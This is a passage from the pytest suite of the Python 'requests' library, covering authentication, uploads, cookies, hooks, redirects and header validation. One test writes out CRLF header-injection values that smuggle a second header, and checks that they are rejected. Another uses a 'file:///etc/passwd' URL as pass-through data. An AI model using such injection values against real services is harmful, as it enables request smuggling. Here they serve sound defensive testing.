        url = httpbin('digest-auth', 'auth', 'user', 'pass')

        r = requests.get(url, auth=auth)
        assert r.status_code == 200

        r = requests.get(url)
        assert r.status_code == 401

        s = requests.session()
        s.auth = HTTPDigestAuth('user', 'pass')
        r = s.get(url)
        assert r.status_code == 200

    def test_DIGEST_AUTH_RETURNS_COOKIE(self, httpbin):
        url = httpbin('digest-auth', 'auth', 'user', 'pass')
        auth = HTTPDigestAuth('user', 'pass')
        r = requests.get(url)
        assert r.cookies['fake'] == 'fake_value'

        r = requests.get(url, auth=auth)
        assert r.status_code == 200

    def test_DIGEST_AUTH_SETS_SESSION_COOKIES(self, httpbin):
        url = httpbin('digest-auth', 'auth', 'user', 'pass')
        auth = HTTPDigestAuth('user', 'pass')
        s = requests.Session()
        s.get(url, auth=auth)
        assert s.cookies['fake'] == 'fake_value'

    def test_DIGEST_STREAM(self, httpbin):

        auth = HTTPDigestAuth('user', 'pass')
        url = httpbin('digest-auth', 'auth', 'user', 'pass')

        r = requests.get(url, auth=auth, stream=True)
        assert r.raw.read() != b''

        r = requests.get(url, auth=auth, stream=False)
        assert r.raw.read() == b''

    def test_DIGESTAUTH_WRONG_HTTP_401_GET(self, httpbin):

        auth = HTTPDigestAuth('user', 'wrongpass')
        url = httpbin('digest-auth', 'auth', 'user', 'pass')

        r = requests.get(url, auth=auth)
        assert r.status_code == 401

        r = requests.get(url)
        assert r.status_code == 401

        s = requests.session()
        s.auth = auth
        r = s.get(url)
        assert r.status_code == 401

    def test_DIGESTAUTH_QUOTES_QOP_VALUE(self, httpbin):

        auth = HTTPDigestAuth('user', 'pass')
        url = httpbin('digest-auth', 'auth', 'user', 'pass')

        r = requests.get(url, auth=auth)
        assert '"auth"' in r.request.headers['Authorization']

    def test_POSTBIN_GET_POST_FILES(self, httpbin):

        url = httpbin('post')
        requests.post(url).raise_for_status()

        post1 = requests.post(url, data={'some': 'data'})
        assert post1.status_code == 200

        with open('requirements.txt') as f:
            post2 = requests.post(url, files={'some': f})
        assert post2.status_code == 200

        post4 = requests.post(url, data='[{"some": "json"}]')
        assert post4.status_code == 200

        with pytest.raises(ValueError):
            requests.post(url, files=['bad file data'])

    def test_POSTBIN_SEEKED_OBJECT_WITH_NO_ITER(self, httpbin):

        class TestStream(object):
            def __init__(self, data):
                self.data = data.encode()
                self.length = len(self.data)
                self.index = 0

            def __len__(self):
                return self.length

            def read(self, size=None):
                if size:
                    ret = self.data[self.index:self.index + size]
                    self.index += size
                else:
                    ret = self.data[self.index:]
                    self.index = self.length
                return ret

            def tell(self):
                return self.index

            def seek(self, offset, where=0):
                if where == 0:
                    self.index = offset
                elif where == 1:
                    self.index += offset
                elif where == 2:
                    self.index = self.length + offset

        test = TestStream('test')
        post1 = requests.post(httpbin('post'), data=test)
        assert post1.status_code == 200
        assert post1.json()['data'] == 'test'

        test = TestStream('test')
        test.seek(2)
        post2 = requests.post(httpbin('post'), data=test)
        assert post2.status_code == 200
        assert post2.json()['data'] == 'st'

    def test_POSTBIN_GET_POST_FILES_WITH_DATA(self, httpbin):

        url = httpbin('post')
        requests.post(url).raise_for_status()

        post1 = requests.post(url, data={'some': 'data'})
        assert post1.status_code == 200

        with open('requirements.txt') as f:
            post2 = requests.post(url, data={'some': 'data'}, files={'some': f})
        assert post2.status_code == 200

        post4 = requests.post(url, data='[{"some": "json"}]')
        assert post4.status_code == 200

        with pytest.raises(ValueError):
            requests.post(url, files=['bad file data'])

    def test_conflicting_post_params(self, httpbin):
        url = httpbin('post')
        with open('requirements.txt') as f:
            pytest.raises(ValueError, "requests.post(url, data='[{\"some\": \"data\"}]', files={'some': f})")
            pytest.raises(ValueError, "requests.post(url, data=u('[{\"some\": \"data\"}]'), files={'some': f})")

    def test_request_ok_set(self, httpbin):
        r = requests.get(httpbin('status', '404'))
        assert not r.ok

    def test_status_raising(self, httpbin):
        r = requests.get(httpbin('status', '404'))
        with pytest.raises(requests.exceptions.HTTPError):
            r.raise_for_status()

        r = requests.get(httpbin('status', '500'))
        assert not r.ok

    def test_decompress_gzip(self, httpbin):
        r = requests.get(httpbin('gzip'))
        r.content.decode('ascii')

    @pytest.mark.parametrize(
        'url, params', (
            ('/get', {'foo': 'føø'}),
            ('/get', {'føø': 'føø'}),
            ('/get', {'føø': 'føø'}),
            ('/get', {'foo': 'foo'}),
            ('ø', {'foo': 'foo'}),
        ))
    def test_unicode_get(self, httpbin, url, params):
        requests.get(httpbin(url), params=params)

    def test_unicode_header_name(self, httpbin):
        requests.put(
            httpbin('put'),
            headers={str('Content-Type'): 'application/octet-stream'},
            data='\xff')  # compat.str is unicode.

    def test_pyopenssl_redirect(self, httpbin_secure, httpbin_ca_bundle):
        requests.get(httpbin_secure('status', '301'), verify=httpbin_ca_bundle)

    def test_https_warnings(self, httpbin_secure, httpbin_ca_bundle):
        """warnings are emitted with requests.get"""
        if HAS_MODERN_SSL or HAS_PYOPENSSL:
            warnings_expected = ('SubjectAltNameWarning', )
        else:
            warnings_expected = ('SNIMissingWarning',
                                 'InsecurePlatformWarning',
                                 'SubjectAltNameWarning', )

        with pytest.warns(None) as warning_records:
            warnings.simplefilter('always')
            requests.get(httpbin_secure('status', '200'),
                         verify=httpbin_ca_bundle)

        warning_records = [item for item in warning_records
                           if item.category.__name__ != 'ResourceWarning']

        warnings_category = tuple(
            item.category.__name__ for item in warning_records)
        assert warnings_category == warnings_expected

    def test_urlencoded_get_query_multivalued_param(self, httpbin):

        r = requests.get(httpbin('get'), params=dict(test=['foo', 'baz']))
        assert r.status_code == 200
        assert r.url == httpbin('get?test=foo&test=baz')

    def test_different_encodings_dont_break_post(self, httpbin):
        r = requests.post(httpbin('post'),
            data={'stuff': json.dumps({'a': 123})},
            params={'blah': 'asdf1234'},
            files={'file': ('test_requests.py', open(__file__, 'rb'))})
        assert r.status_code == 200

    @pytest.mark.parametrize(
        'data', (
            {'stuff': u('ëlïxr')},
            {'stuff': u('ëlïxr').encode('utf-8')},
            {'stuff': 'elixr'},
            {'stuff': 'elixr'.encode('utf-8')},
        ))
    def test_unicode_multipart_post(self, httpbin, data):
        r = requests.post(httpbin('post'),
            data=data,
            files={'file': ('test_requests.py', open(__file__, 'rb'))})
        assert r.status_code == 200

    def test_unicode_multipart_post_fieldnames(self, httpbin):
        filename = os.path.splitext(__file__)[0] + '.py'
        r = requests.Request(
            method='POST', url=httpbin('post'),
            data={'stuff'.encode('utf-8'): 'elixr'},
            files={'file': ('test_requests.py', open(filename, 'rb'))})
        prep = r.prepare()
        assert b'name="stuff"' in prep.body
        assert b'name="b\'stuff\'"' not in prep.body

    def test_unicode_method_name(self, httpbin):
        files = {'file': open(__file__, 'rb')}
        r = requests.request(
            method=u('POST'), url=httpbin('post'), files=files)
        assert r.status_code == 200

    def test_unicode_method_name_with_request_object(self, httpbin):
        files = {'file': open(__file__, 'rb')}
        s = requests.Session()
        req = requests.Request(u('POST'), httpbin('post'), files=files)
        prep = s.prepare_request(req)
        assert isinstance(prep.method, builtin_str)
        assert prep.method == 'POST'

        resp = s.send(prep)
        assert resp.status_code == 200

    def test_non_prepared_request_error(self):
        s = requests.Session()
        req = requests.Request(u('POST'), '/')

        with pytest.raises(ValueError) as e:
            s.send(req)
        assert str(e.value) == 'You can only send PreparedRequests.'

    def test_custom_content_type(self, httpbin):
        r = requests.post(
            httpbin('post'),
            data={'stuff': json.dumps({'a': 123})},
            files={
                'file1': ('test_requests.py', open(__file__, 'rb')),
                'file2': ('test_requests', open(__file__, 'rb'),
                    'text/py-content-type')})
        assert r.status_code == 200
        assert b"text/py-content-type" in r.request.body

    def test_hook_receives_request_arguments(self, httpbin):
        def hook(resp, **kwargs):
            assert resp is not None
            assert kwargs != {}

        s = requests.Session()
        r = requests.Request('GET', httpbin(), hooks={'response': hook})
        prep = s.prepare_request(r)
        s.send(prep)

    def test_session_hooks_are_used_with_no_request_hooks(self, httpbin):
        hook = lambda x, *args, **kwargs: x
        s = requests.Session()
        s.hooks['response'].append(hook)
        r = requests.Request('GET', httpbin())
        prep = s.prepare_request(r)
        assert prep.hooks['response'] != []
        assert prep.hooks['response'] == [hook]

    def test_session_hooks_are_overridden_by_request_hooks(self, httpbin):
        hook1 = lambda x, *args, **kwargs: x
        hook2 = lambda x, *args, **kwargs: x
        assert hook1 is not hook2
        s = requests.Session()
        s.hooks['response'].append(hook2)
        r = requests.Request('GET', httpbin(), hooks={'response': [hook1]})
        prep = s.prepare_request(r)
        assert prep.hooks['response'] == [hook1]

    def test_prepared_request_hook(self, httpbin):
        def hook(resp, **kwargs):
            resp.hook_working = True
            return resp

        req = requests.Request('GET', httpbin(), hooks={'response': hook})
        prep = req.prepare()

        s = requests.Session()
        s.proxies = getproxies()
        resp = s.send(prep)

        assert hasattr(resp, 'hook_working')

    def test_prepared_from_session(self, httpbin):
        class DummyAuth(requests.auth.AuthBase):
            def __call__(self, r):
                r.headers['Dummy-Auth-Test'] = 'dummy-auth-test-ok'
                return r

        req = requests.Request('GET', httpbin('headers'))
        assert not req.auth

        s = requests.Session()
        s.auth = DummyAuth()

        prep = s.prepare_request(req)
        resp = s.send(prep)

        assert resp.json()['headers'][
            'Dummy-Auth-Test'] == 'dummy-auth-test-ok'

    def test_prepare_request_with_bytestring_url(self):
        req = requests.Request('GET', b'https://httpbin.org/')
        s = requests.Session()
        prep = s.prepare_request(req)
        assert prep.url == "https://httpbin.org/"

    def test_links(self):
        r = requests.Response()
        r.headers = {
            'cache-control': 'public, max-age=60, s-maxage=60',
            'connection': 'keep-alive',
            'content-encoding': 'gzip',
            'content-type': 'application/json; charset=utf-8',
            'date': 'Sat, 26 Jan 2013 16:47:56 GMT',
            'etag': '"6ff6a73c0e446c1f61614769e3ceb778"',
            'last-modified': 'Sat, 26 Jan 2013 16:22:39 GMT',
            'link': ('<https://api.github.com/users/kennethreitz/repos?'
                     'page=2&per_page=10>; rel="next", <https://api.github.'
                     'com/users/kennethreitz/repos?page=7&per_page=10>; '
                     ' rel="last"'),
            'server': 'GitHub.com',
            'status': '200 OK',
            'vary': 'Accept',
            'x-content-type-options': 'nosniff',
            'x-github-media-type': 'github.beta',
            'x-ratelimit-limit': '60',
            'x-ratelimit-remaining': '57'
        }
        assert r.links['next']['rel'] == 'next'

    def test_cookie_parameters(self):
        key = 'some_cookie'
        value = 'some_value'
        secure = True
        domain = 'test.com'
        rest = {'HttpOnly': True}

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value, secure=secure, domain=domain, rest=rest)

        assert len(jar) == 1
        assert 'some_cookie' in jar

        cookie = list(jar)[0]
        assert cookie.secure == secure
        assert cookie.domain == domain
        assert cookie._rest['HttpOnly'] == rest['HttpOnly']

    def test_cookie_as_dict_keeps_len(self):
        key = 'some_cookie'
        value = 'some_value'

        key1 = 'some_cookie1'
        value1 = 'some_value1'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value)
        jar.set(key1, value1)

        d1 = dict(jar)
        d2 = dict(jar.iteritems())
        d3 = dict(jar.items())

        assert len(jar) == 2
        assert len(d1) == 2
        assert len(d2) == 2
        assert len(d3) == 2

    def test_cookie_as_dict_keeps_items(self):
        key = 'some_cookie'
        value = 'some_value'

        key1 = 'some_cookie1'
        value1 = 'some_value1'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value)
        jar.set(key1, value1)

        d1 = dict(jar)
        d2 = dict(jar.iteritems())
        d3 = dict(jar.items())

        assert d1['some_cookie'] == 'some_value'
        assert d2['some_cookie'] == 'some_value'
        assert d3['some_cookie1'] == 'some_value1'

    def test_cookie_as_dict_keys(self):
        key = 'some_cookie'
        value = 'some_value'

        key1 = 'some_cookie1'
        value1 = 'some_value1'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value)
        jar.set(key1, value1)

        keys = jar.keys()
        assert keys == list(keys)
        # make sure one can use keys multiple times
        assert list(keys) == list(keys)

    def test_cookie_as_dict_values(self):
        key = 'some_cookie'
        value = 'some_value'

        key1 = 'some_cookie1'
        value1 = 'some_value1'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value)
        jar.set(key1, value1)

        values = jar.values()
        assert values == list(values)
        # make sure one can use values multiple times
        assert list(values) == list(values)

    def test_cookie_as_dict_items(self):
        key = 'some_cookie'
        value = 'some_value'

        key1 = 'some_cookie1'
        value1 = 'some_value1'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value)
        jar.set(key1, value1)

        items = jar.items()
        assert items == list(items)
        # make sure one can use items multiple times
        assert list(items) == list(items)

    def test_cookie_duplicate_names_different_domains(self):
        key = 'some_cookie'
        value = 'some_value'
        domain1 = 'test1.com'
        domain2 = 'test2.com'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value, domain=domain1)
        jar.set(key, value, domain=domain2)
        assert key in jar
        items = jar.items()
        assert len(items) == 2

        # Verify that CookieConflictError is raised if domain is not specified
        with pytest.raises(requests.cookies.CookieConflictError):
            jar.get(key)

        # Verify that CookieConflictError is not raised if domain is specified
        cookie = jar.get(key, domain=domain1)
        assert cookie == value

    def test_cookie_duplicate_names_raises_cookie_conflict_error(self):
        key = 'some_cookie'
        value = 'some_value'
        path = 'some_path'

        jar = requests.cookies.RequestsCookieJar()
        jar.set(key, value, path=path)
        jar.set(key, value)
        with pytest.raises(requests.cookies.CookieConflictError):
            jar.get(key)

    def test_time_elapsed_blank(self, httpbin):
        r = requests.get(httpbin('get'))
        td = r.elapsed
        total_seconds = ((td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) / 10**6)
        assert total_seconds > 0.0

    def test_response_is_iterable(self):
        r = requests.Response()
        io = StringIO.StringIO('abc')
        read_ = io.read

        def read_mock(amt, decode_content=None):
            return read_(amt)
        setattr(io, 'read', read_mock)
        r.raw = io
        assert next(iter(r))
        io.close()

    def test_response_decode_unicode(self):
        """When called with decode_unicode, Response.iter_content should always
        return unicode.
        """
        r = requests.Response()
        r._content_consumed = True
        r._content = b'the content'
        r.encoding = 'ascii'

        chunks = r.iter_content(decode_unicode=True)
        assert all(isinstance(chunk, str) for chunk in chunks)

        # also for streaming
        r = requests.Response()
        r.raw = io.BytesIO(b'the content')
        r.encoding = 'ascii'
        chunks = r.iter_content(decode_unicode=True)
        assert all(isinstance(chunk, str) for chunk in chunks)

    def test_response_reason_unicode(self):
        # check for unicode HTTP status
        r = requests.Response()
        r.url = u'unicode URL'
        r.reason = u'Komponenttia ei löydy'.encode('utf-8')
        r.status_code = 404
        r.encoding = None
        assert not r.ok  # old behaviour - crashes here

    def test_response_chunk_size_type(self):
        """Ensure that chunk_size is passed as None or an integer, otherwise
        raise a TypeError.
        """
        r = requests.Response()
        r.raw = io.BytesIO(b'the content')
        chunks = r.iter_content(1)
        assert all(len(chunk) == 1 for chunk in chunks)

        r = requests.Response()
        r.raw = io.BytesIO(b'the content')
        chunks = r.iter_content(None)
        assert list(chunks) == [b'the content']

        r = requests.Response()
        r.raw = io.BytesIO(b'the content')
        with pytest.raises(TypeError):
            chunks = r.iter_content("1024")

    def test_request_and_response_are_pickleable(self, httpbin):
        r = requests.get(httpbin('get'))

        # verify we can pickle the original request
        assert pickle.loads(pickle.dumps(r.request))

        # verify we can pickle the response and that we have access to
        # the original request.
        pr = pickle.loads(pickle.dumps(r))
        assert r.request.url == pr.request.url
        assert r.request.headers == pr.request.headers

    def test_cannot_send_unprepared_requests(self, httpbin):
        r = requests.Request(url=httpbin())
        with pytest.raises(ValueError):
            requests.Session().send(r)

    def test_http_error(self):
        error = requests.exceptions.HTTPError()
        assert not error.response
        response = requests.Response()
        error = requests.exceptions.HTTPError(response=response)
        assert error.response == response
        error = requests.exceptions.HTTPError('message', response=response)
        assert str(error) == 'message'
        assert error.response == response

    def test_session_pickling(self, httpbin):
        r = requests.Request('GET', httpbin('get'))
        s = requests.Session()

        s = pickle.loads(pickle.dumps(s))
        s.proxies = getproxies()

        r = s.send(r.prepare())
        assert r.status_code == 200

    def test_fixes_1329(self, httpbin):
        """Ensure that header updates are done case-insensitively."""
        s = requests.Session()
        s.headers.update({'ACCEPT': 'BOGUS'})
        s.headers.update({'accept': 'application/json'})
        r = s.get(httpbin('get'))
        headers = r.request.headers
        assert headers['accept'] == 'application/json'
        assert headers['Accept'] == 'application/json'
        assert headers['ACCEPT'] == 'application/json'

    def test_uppercase_scheme_redirect(self, httpbin):
        parts = urlparse(httpbin('html'))
        url = "HTTP://" + parts.netloc + parts.path
        r = requests.get(httpbin('redirect-to'), params={'url': url})
        assert r.status_code == 200
        assert r.url.lower() == url.lower()

    def test_transport_adapter_ordering(self):
        s = requests.Session()
        order = ['https://', 'http://']
        assert order == list(s.adapters)
        s.mount('http://git', HTTPAdapter())
        s.mount('http://github', HTTPAdapter())
        s.mount('http://github.com', HTTPAdapter())
        s.mount('http://github.com/about/', HTTPAdapter())
        order = [
            'http://github.com/about/',
            'http://github.com',
            'http://github',
            'http://git',
            'https://',
            'http://',
        ]
        assert order == list(s.adapters)
        s.mount('http://gittip', HTTPAdapter())
        s.mount('http://gittip.com', HTTPAdapter())
        s.mount('http://gittip.com/about/', HTTPAdapter())
        order = [
            'http://github.com/about/',
            'http://gittip.com/about/',
            'http://github.com',
            'http://gittip.com',
            'http://github',
            'http://gittip',
            'http://git',
            'https://',
            'http://',
        ]
        assert order == list(s.adapters)
        s2 = requests.Session()
        s2.adapters = {'http://': HTTPAdapter()}
        s2.mount('https://', HTTPAdapter())
        assert 'http://' in s2.adapters
        assert 'https://' in s2.adapters

    def test_header_remove_is_case_insensitive(self, httpbin):
        # From issue #1321
        s = requests.Session()
        s.headers['foo'] = 'bar'
        r = s.get(httpbin('get'), headers={'FOO': None})
        assert 'foo' not in r.request.headers

    def test_params_are_merged_case_sensitive(self, httpbin):
        s = requests.Session()
        s.params['foo'] = 'bar'
        r = s.get(httpbin('get'), params={'FOO': 'bar'})
        assert r.json()['args'] == {'foo': 'bar', 'FOO': 'bar'}

    def test_long_authinfo_in_url(self):
        url = 'http://{0}:{1}@{2}:9000/path?query#frag'.format(
            'E8A3BE87-9E3F-4620-8858-95478E385B5B',
            'EA770032-DA4D-4D84-8CE9-29C6D910BF1E',
            'exactly-------------sixty-----------three------------characters',
        )
        r = requests.Request('GET', url).prepare()
        assert r.url == url

    def test_header_keys_are_native(self, httpbin):
        headers = {u('unicode'): 'blah', 'byte'.encode('ascii'): 'blah'}
        r = requests.Request('GET', httpbin('get'), headers=headers)
        p = r.prepare()

        # This is testing that they are builtin strings. A bit weird, but there
        # we go.
        assert 'unicode' in p.headers.keys()
        assert 'byte' in p.headers.keys()

    def test_header_validation(self, httpbin):
        """Ensure prepare_headers regex isn't flagging valid header contents."""
        headers_ok = {'foo': 'bar baz qux',
                      'bar': u'fbbq'.encode('utf8'),
                      'baz': '',
                      'qux': '1'}
        r = requests.get(httpbin('get'), headers=headers_ok)
        assert r.request.headers['foo'] == headers_ok['foo']

    def test_header_value_not_str(self, httpbin):
        """Ensure the header value is of type string or bytes as
        per discussion in GH issue #3386
        """
        headers_int = {'foo': 3}
        headers_dict = {'bar': {'foo': 'bar'}}
        headers_list = {'baz': ['foo', 'bar']}

        # Test for int
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_int)
        # Test for dict
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_dict)
        # Test for list
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_list)

    def test_header_no_return_chars(self, httpbin):
        """Ensure that a header containing return character sequences raise an
        exception. Otherwise, multiple headers are created from single string.
        """
        headers_ret = {'foo': 'bar\r\nbaz: qux'}
        headers_lf = {'foo': 'bar\nbaz: qux'}
        headers_cr = {'foo': 'bar\rbaz: qux'}

        # Test for newline
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_ret)
        # Test for line feed
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_lf)
        # Test for carriage return
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_cr)

    def test_header_no_leading_space(self, httpbin):
        """Ensure headers containing leading whitespace raise
        InvalidHeader Error before sending.
        """
        headers_space = {'foo': ' bar'}
        headers_tab = {'foo': '   bar'}

        # Test for whitespace
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_space)
        # Test for tab
        with pytest.raises(InvalidHeader):
            r = requests.get(httpbin('get'), headers=headers_tab)

    @pytest.mark.parametrize('files', ('foo', b'foo', bytearray(b'foo')))
    def test_can_send_objects_with_files(self, httpbin, files):
        data = {'a': 'this is a string'}
        files = {'b': files}
        r = requests.Request('POST', httpbin('post'), data=data, files=files)
        p = r.prepare()
        assert 'multipart/form-data' in p.headers['Content-Type']

    def test_can_send_file_object_with_non_string_filename(self, httpbin):
        f = io.BytesIO()
        f.name = 2
        r = requests.Request('POST', httpbin('post'), files={'f': f})
        p = r.prepare()

        assert 'multipart/form-data' in p.headers['Content-Type']

    def test_autoset_header_values_are_native(self, httpbin):
        data = 'this is a string'
        length = '16'
        req = requests.Request('POST', httpbin('post'), data=data)
        p = req.prepare()

        assert p.headers['Content-Length'] == length

    def test_nonhttp_schemes_dont_check_URLs(self):
        test_urls = (
            'data:image/gif;base64,R0lGODlhAQABAHAAACH5BAUAAAAALAAAAAABAAEAAAICRAEAOw==',
            'file:///etc/passwd',
            'magnet:?xt=urn:btih:be08f00302bc2d1d3cfa3af02024fa647a271431',
        )
        for test_url in test_urls:
            req = requests.Request('GET', test_url)
            preq = req.prepare()
            assert test_url == preq.url

    @pytest.mark.xfail(raises=ConnectionError)
    def test_auth_is_stripped_on_redirect_off_host(self, httpbin):
        r = requests.get(
            httpbin('redirect-to'),
            params={'url': 'http://www.google.co.uk'},
            auth=('user', 'pass'),
        )
        assert r.history[0].request.headers['Authorization']
        assert not r.request.headers.get('Authorization', '')

    def test_auth_is_retained_for_redirect_on_host(self, httpbin):
        r = requests.get(httpbin('redirect/1'), auth=('user', 'pass'))
        h1 = r.history[0].request.headers['Authorization']
        h2 = r.request.headers['Authorization']

        assert h1 == h2

    def test_manual_redirect_with_partial_body_read(self, httpbin):
        s = requests.Session()
        r1 = s.get(httpbin('redirect/2'), allow_redirects=False, stream=True)
        assert r1.is_redirect
        rg = s.resolve_redirects(r1, r1.request, stream=True)

        # read only the first eight bytes of the response body,
        # then follow the redirect
        r1.iter_content(8)
        r2 = next(rg)
        assert r2.is_redirect

        # read all of the response via iter_content,
        # then follow the redirect
        for _ in r2.iter_content():
            pass
        r3 = next(rg)
        assert not r3.is_redirect

    def _patch_adapter_gzipped_redirect(self, session, url):
        adapter = session.get_adapter(url=url)
        org_build_response = adapter.build_response
        self._patched_response = False

        def build_response(*args, **kwargs):
            resp = org_build_response(*args, **kwargs)
            if not self._patched_response:
                resp.raw.headers['content-encoding'] = 'gzip'
                self._patched_response = True
            return resp

        adapter.build_response = build_response

    def test_redirect_with_wrong_gzipped_header(self, httpbin):
        s = requests.Session()
        url = httpbin('redirect/1')
        self._patch_adapter_gzipped_redirect(s, url)
        s.get(url)

    def test_basic_auth_str_is_always_native(self):
        s = _basic_auth_str("test", "test")
        assert isinstance(s, builtin_str)
        assert s == "Basic dGVzdDp0ZXN0"

    def test_requests_history_is_saved(self, httpbin):
        r = requests.get(httpbin('redirect/5'))
        total = r.history[-1].history
        i = 0
        for item in r.history:
            assert item.history == total[0:i]
            i += 1

    def test_json_param_post_content_type_works(self, httpbin):
        r = requests.post(
            httpbin('post'),
            json={'life': 42}
        )
        assert r.status_code == 200
        assert 'application/json' in r.request.headers['Content-Type']
        assert {'life': 42} == r.json()['json']

    def test_json_param_post_should_not_override_data_param(self, httpbin):
        r = requests.Request(method='POST', url=httpbin('post'),
                             data={'stuff': 'elixr'},
                             json={'music': 'flute'})
        prep = r.prepare()
        assert 'stuff=elixr' == prep.body

    def test_response_iter_lines(self, httpbin):
        r = requests.get(httpbin('stream/4'), stream=True)
        assert r.status_code == 200

        it = r.iter_lines()
        next(it)
        assert len(list(it)) == 3

    def test_unconsumed_session_response_closes_connection(self, httpbin):
        s = requests.session()

        with contextlib.closing(s.get(httpbin('stream/4'), stream=True)) as response:
            pass

        assert response._content_consumed is False
        assert response.raw.closed

    @pytest.mark.xfail
    def test_response_iter_lines_reentrant(self, httpbin):
        """Response.iter_lines() is not reentrant safe"""
        r = requests.get(httpbin('stream/4'), stream=True)
        assert r.status_code == 200

        next(r.iter_lines())
        assert len(list(r.iter_lines())) == 3

    def test_session_close_proxy_clear(self, mocker):
        proxies = {
          'one': mocker.Mock(),
          'two': mocker.Mock(),
        }
        session = requests.Session()
        mocker.patch.dict(session.adapters['http://'].proxy_manager, proxies)
        session.close()
        proxies['one'].clear.assert_called_once_with()
        proxies['two'].clear.assert_called_once_with()

    def test_response_json_when_content_is_None(self, httpbin):
        r = requests.get(httpbin('/status/204'))
        # Make sure r.content is None
        r.status_code = 0
        r._content = False
        r._content_consumed = False

        assert r.content is None
        with pytest.raises(ValueError):
            r.json()

    def test_response_without_release_conn(self):
        """Test `close` call for non-urllib3-like raw objects.
        Should work when `release_conn` attr doesn't exist on `response.raw`.
        """
        resp = requests.Response()
        resp.raw = StringIO.StringIO('test')
        assert not resp.raw.closed
        resp.close()
        assert resp.raw.closed

class TestCaseInsensitiveDict:

    @pytest.mark.parametrize(
        'cid', (
            CaseInsensitiveDict({'Foo': 'foo', 'BAr': 'bar'}),
            CaseInsensitiveDict([('Foo', 'foo'), ('BAr', 'bar')]),
            CaseInsensitiveDict(FOO='foo', BAr='bar'),
        ))
    def test_init(self, cid):
        assert len(cid) == 2
        assert 'foo' in cid
        assert 'bar' in cid

    def test_docstring_example(self):
        cid = CaseInsensitiveDict()
        cid['Accept'] = 'application/json'
        assert cid['aCCEPT'] == 'application/json'
        assert list(cid) == ['Accept']

    def test_len(self):
        cid = CaseInsensitiveDict({'a': 'a', 'b': 'b'})
        cid['A'] = 'a'
        assert len(cid) == 2

    def test_getitem(self):
        cid = CaseInsensitiveDict({'Spam': 'blueval'})
        assert cid['spam'] == 'blueval'
        assert cid['SPAM'] == 'blueval'

    def test_fixes_649(self):
        """__setitem__ should behave case-insensitively."""
        cid = CaseInsensitiveDict()
        cid['spam'] = 'oneval'
        cid['Spam'] = 'twoval'
        cid['sPAM'] = 'redval'
        cid['SPAM'] = 'blueval'
        assert cid['spam'] == 'blueval'
        assert cid['SPAM'] == 'blueval'
        assert list(cid.keys()) == ['SPAM']

    def test_delitem(self):
        cid = CaseInsensitiveDict()
        cid['Spam'] = 'someval'
        del cid['sPam']
        assert 'spam' not in cid
        assert len(cid) == 0

    def test_contains(self):
        cid = CaseInsensitiveDict()
        cid['Spam'] = 'someval'
        assert 'Spam' in cid
        assert 'spam' in cid
        assert 'SPAM' in cid
        assert 'sPam' in cid
        assert 'notspam' not in cid

    def test_get(self):
        cid = CaseInsensitiveDict()
        cid['spam'] = 'oneval'
        cid['SPAM'] = 'blueval'
        assert cid.get('spam') == 'blueval'
        assert cid.get('SPAM') == 'blueval'
        assert cid.get('sPam') == 'blueval'
        assert cid.get('notspam', 'default') == 'default'

    def test_update(self):
        cid = CaseInsensitiveDict()
        cid['spam'] = 'blueval'
        cid.update({'sPam': 'notblueval'})
        assert cid['spam'] == 'notblueval'
        cid = CaseInsensitiveDict({'Foo': 'foo', 'BAr': 'bar'})
        cid.update({'fOO': 'anotherfoo', 'bAR': 'anotherbar'})
        assert len(cid) == 2
        assert cid['foo'] == 'anotherfoo'
        assert cid['bar'] == 'anotherbar'

    def test_update_retains_unchanged(self):
        cid = CaseInsensitiveDict({'foo': 'foo', 'bar': 'bar'})
        cid.update({'foo': 'newfoo'})
        assert cid['bar'] == 'bar'

    def test_iter(self):
        cid = CaseInsensitiveDict({'Spam': 'spam', 'Eggs': 'eggs'})
        keys = frozenset(['Spam', 'Eggs'])
        assert frozenset(iter(cid)) == keys

    def test_equality(self):
        cid = CaseInsensitiveDict({'SPAM': 'blueval', 'Eggs': 'redval'})
        othercid = CaseInsensitiveDict({'spam': 'blueval', 'eggs': 'redval'})
        assert cid == othercid
        del othercid['spam']
        assert cid != othercid
        assert cid == {'spam': 'blueval', 'eggs': 'redval'}
        assert cid != object()

    def test_setdefault(self):
        cid = CaseInsensitiveDict({'Spam': 'blueval'})
        assert cid.setdefault('spam', 'notblueval') == 'blueval'
        assert cid.setdefault('notspam', 'notblueval') == 'notblueval'

    def test_lower_items(self):
        cid = CaseInsensitiveDict({
            'Accept': 'application/json',
            'user-Agent': 'requests',
        })
        keyset = frozenset(lowerkey for lowerkey, v in cid.lower_items())
        lowerkeyset = frozenset(['accept', 'user-agent'])
        assert keyset == lowerkeyset

    def test_preserve_key_case(self):
        cid = CaseInsensitiveDict({
            'Accept': 'application/json',
            'user-Agent': 'requests',
        })
        keyset = frozenset(['Accept', 'user-Agent'])
        assert frozenset(i[0] for i in cid.items()) == keyset
        assert frozenset(cid.keys()) == keyset
        assert frozenset(cid) == keyset

    def test_preserve_last_key_case(self):
        cid = CaseInsensitiveDict({
            'Accept': 'application/json',
            'user-Agent': 'requests',
        })
        cid.update({'ACCEPT': 'application/json'})
        cid['USER-AGENT'] = 'requests'
        keyset = frozenset(['ACCEPT', 'USER-AGENT'])
        assert frozenset(i[0] for i in cid.items()) == keyset
        assert frozenset(cid.keys()) == keyset
        assert frozenset(cid) == keyset

    def test_copy(self):
        cid = CaseInsensitiveDict({
            'Accept': 'application/json',
            'user-Agent': 'requests',
        })
        cid_copy = cid.copy()
        assert cid == cid_copy
        cid['changed'] = True
        assert cid != cid_copy


class TestMorselToCookieExpires:
    """Tests for morsel_to_cookie when morsel contains expires."""

    def test_expires_valid_str(self):
        """Test case where we convert expires from string time."""

        morsel = Morsel()
